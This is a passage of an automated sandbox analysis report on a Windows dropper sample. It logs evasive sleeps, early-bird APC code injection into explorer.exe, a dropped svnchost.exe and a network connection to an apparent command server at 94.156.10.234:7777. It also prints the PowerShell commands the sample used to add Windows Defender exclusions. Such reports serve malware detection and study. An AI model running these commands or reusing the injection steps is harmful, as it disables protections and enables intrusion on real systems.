Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\explorer.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\explorer.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\explorer.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6764 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2993 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6780 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2816 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 8125
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1505
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6021
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3672
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7260 Thread sleep time: -4611686018427385s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 7268 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7652 Thread sleep count: 6780 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7648 Thread sleep count: 2816 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7692 Thread sleep time: -6456360425798339s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7892 Thread sleep count: 8125 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7888 Thread sleep count: 1505 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7920 Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8148 Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\explorer.exe TID: 7252 Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\explorer.exe TID: 4592 Thread sleep time: -922337203685477s >= -30000s
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\explorer.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\explorer.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\explorer.exe Thread delayed: delay time: 922337203685477
Source: sihost.exe, 00000004.00000002.1775321836.0000023D3BF38000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWn
Source: sihost.exe, 00000020.00000002.2862417635.000001E01EC99000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWp
Source: SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe, 00000000.00000002.1713314475.0000019394FCB000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe, 00000000.00000002.1713314475.0000019394F4C000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000004.00000002.1775321836.0000023D3BF38000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000012.00000002.2304218834.0000024399707000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000012.00000002.2304218834.0000024399658000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000020.00000002.2862417635.000001E01ED47000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000001.00000002.2963539822.000000001B7A8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWors"%SystemRoot%\system32\mswsock.dlliceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowDefinition="MachineOnly" allowExeDefinition="MachineOnly"/>
Source: sihost.exe, 00000004.00000002.1775321836.0000023D3BE7C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW@
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Code function: 0_2_00007FF6D43317F0 rand,rand,malloc,rand,rand,rand,rand,malloc,rand,rand,rand,malloc,rand,rand,OpenProcess,rand,malloc,rand,rand,rand,rand,rand,malloc,rand,malloc,LoadLibraryA,GetProcAddress,rand,rand,rand,WriteProcessMemory,rand,rand,malloc,rand,rand,rand,CloseHandle,rand,malloc,rand,rand,rand,malloc,rand,rand,malloc,rand,rand,rand,malloc,rand,rand,rand,malloc,rand,rand,rand,malloc, 0_2_00007FF6D43317F0
Enables debug privileges
Source: C:\Windows\explorer.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\explorer.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Code function: 0_2_00007FF6D4331180 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_initterm,exit, 0_2_00007FF6D4331180
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Code function: 0_2_00007FF6D4341284 SetUnhandledExceptionFilter,malloc, 0_2_00007FF6D4341284
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Code function: 0_2_00007FF6D4338649 SetUnhandledExceptionFilter, 0_2_00007FF6D4338649
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Code function: 4_2_00007FF699B01180 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_initterm,exit, 4_2_00007FF699B01180
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Code function: 4_2_00007FF699B11284 SetUnhandledExceptionFilter,malloc, 4_2_00007FF699B11284
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Code function: 4_2_00007FF699B08649 SetUnhandledExceptionFilter, 4_2_00007FF699B08649
Source: C:\Windows\explorer.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Benign windows process drops PE files
Source: C:\Windows\explorer.exe File created: svnchost.exe.1.dr Jump to dropped file
Early bird code injection technique detected
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Process created / APC Queued / Resumed: C:\Windows\explorer.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Process created / APC Queued / Resumed: C:\Windows\explorer.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Process created / APC Queued / Resumed: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Process created / APC Queued / Resumed: C:\Windows\explorer.exe Jump to behavior
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 94.156.10.234 7777 Jump to behavior
Adds a directory exclusion to Windows Defender
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\explorer.exe'
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svnchost.exe'
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\explorer.exe' Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\svnchost.exe' Jump to behavior
Allocates memory in foreign processes
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Memory allocated: C:\Windows\explorer.exe base: E10000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Memory allocated: C:\Windows\explorer.exe base: D60000 protect: page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Memory allocated: C:\Windows\explorer.exe base: 1020000 protect: page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Memory allocated: C:\Windows\explorer.exe base: 100000 protect: page execute and read and write
Bypasses PowerShell execution policy
Source: C:\Windows\explorer.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\explorer.exe'
Contains functionality to inject code into remote processes
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Code function: 0_2_00007FF6D43386C0 LoadLibraryA,LoadLibraryA,rand,rand,rand,rand,LoadLibraryA,rand,rand,rand,rand,rand,rand,rand,rand,rand,GetProcAddress,GetProcAddress,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,rand,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,rand,LoadLibraryA,GetProcAddress,rand,rand,rand,rand,rand,rand,rand,VirtualProtect,rand,rand,rand,rand,rand,rand,VirtualProtect,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,InternetOpenA,rand,InternetOpenUrlA,rand,InternetReadFile,realloc,rand,malloc,rand,rand,memcpy,rand,rand,malloc,rand,rand,rand,rand,rand,malloc,rand,rand,rand,rand,rand,rand,rand,rand,VirtualProtect,rand,rand,rand,rand,CreateProcessA,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,VirtualAllocEx,rand,rand,rand,rand,rand,rand,rand,rand,WriteProcessMemory,rand,rand,rand,QueueUserAPC,rand,rand,rand,ResumeThread,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,CopyFileA,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,rand,CreateProcessA,rand,rand,rand,rand,rand,rand,rand,rand,rand, 0_2_00007FF6D43386C0
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Memory written: PID: 6684 base: E10000 value: E8 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Memory written: PID: 7216 base: D60000 value: E8 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Memory written: PID: 6016 base: 1020000 value: E8
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Memory written: PID: 5184 base: 100000 value: E8
Queues an APC in another process (thread injection)
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Memory written: C:\Windows\explorer.exe base: E10000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Memory written: C:\Windows\explorer.exe base: D60000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Memory written: C:\Windows\explorer.exe base: 1020000
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Memory written: C:\Windows\explorer.exe base: 100000
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.DropperX-gen.15585.25265.exe Process created: C:\Windows\explorer.exe "C:\\Windows\\explorer.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Process created: C:\Windows\explorer.exe "C:\\Windows\\explorer.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Process created: C:\Windows\explorer.exe "C:\\Windows\\explorer.exe"
Source: C:\Users\user\AppData\Local\Temp\sihost.exe Process created: C:\Windows\explorer.exe "C:\\Windows\\explorer.exe"
Source: explorer.exe, 00000001.00000003.2570892864.0000000012D71000.00000004.00000800.00020000.00000000.sdmp, svnchost.exe, 00000017.00000000.2575974352.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 00000017.00000002.2607806502.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000003.2570892864.0000000012D71000.00000004.00000800.00020000.00000000.sdmp, svnchost.exe, 00000017.00000000.2575974352.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp, svnchost.exe, 00000017.00000002.2607806502.00007FF6579A6000.00000002.00000001.01000000.0000000A.sdmp Binary or memory string: #$QSoftware\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShellsDefaultShell/NoShellRegistrationCheck/NoUACCheckProgman/NoShellRegistrationAndUACCheckLocal\ExplorerIsShellMutexProxy Desktop
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
